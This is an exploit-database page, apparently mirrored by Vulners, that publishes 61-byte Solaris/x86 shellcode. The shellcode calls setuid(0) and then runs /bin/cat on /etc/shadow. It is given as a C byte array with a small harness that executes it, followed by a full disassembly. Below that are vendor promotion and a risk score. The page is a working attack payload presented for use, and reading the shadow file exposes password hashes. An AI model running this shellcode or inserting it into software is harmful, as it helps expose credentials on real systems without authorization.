Lucene search
K

Solaris/x86 - setuid(0) + /bin/cat /etc/shadow Shellcode (61 bytes)

🗓️ 01 Jan 2009 00:00:00Reported by Exploit-DBType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 21 Views

Solaris/x86 setuid(0) exploit to read /etc/shado

Code
Name = John Babio
Twitter = 3vi1john

SunOS opensolaris 10  5.11 i86pc i386 i86pc

setuid(0)  /bin/cat //etc/shadow      

char code[]=
        "\x33\xc0\x50\x50\xb0\x17\xcd\x91\x33\xd2\x52\x68\x61\x64\x6f"
        "\x77\x68\x63\x2f\x73\x68\x68\x2f\x2f\x65\x74\x8b\xcc\x52\x68"
        "\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x8b\xdc\x52\x51\x53\x8b"
        "\xcc\x52\x51\x53\xb0\x3b\x52\xcd\x91\x33\xc0\x50\xb0\x01\xcd\x91";

int main(int argc, char **argv)
{
  int (*func)();
  func = (int (*)()) code;
  (int)(*func)();
}

8050410 <_start>:
 8050410:    33 c0                    xor    %eax,%eax
 8050412:    50                       push   %eax
 8050413:    50                       push   %eax
 8050414:    b0 17                    mov    $0x17,%al
 8050416:    cd 91                    int    $0x91
 8050418:    33 d2                    xor    %edx,%edx
 805041a:    52                       push   %edx
 805041b:    68 61 64 6f 77           push   $0x776f6461
 8050420:    68 63 2f 73 68           push   $0x68732f63
 8050425:    68 2f 2f 65 74           push   $0x74652f2f
 805042a:    8b cc                    mov    %esp,%ecx
 805042c:    52                       push   %edx
 805042d:    68 2f 63 61 74           push   $0x7461632f
 8050432:    68 2f 62 69 6e           push   $0x6e69622f
 8050437:    8b dc                    mov    %esp,%ebx
 8050439:    52                       push   %edx
 805043a:    51                       push   %ecx
 805043b:    53                       push   %ebx
 805043c:    8b cc                    mov    %esp,%ecx
 805043e:    52                       push   %edx
 805043f:    51                       push   %ecx
 8050440:    53                       push   %ebx
 8050441:    b0 3b                    mov    $0x3b,%al
 8050443:    52                       push   %edx
 8050444:    cd 91                    int    $0x91
 8050446:    33 c0                    xor    %eax,%eax
 8050448:    50                       push   %eax
 8050449:    b0 01                    mov    $0x1,%al
 805044b:    cd 91                    int    $0x91

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jan 2009 00:00Current
7.1High risk
Vulners AI Score7.1
21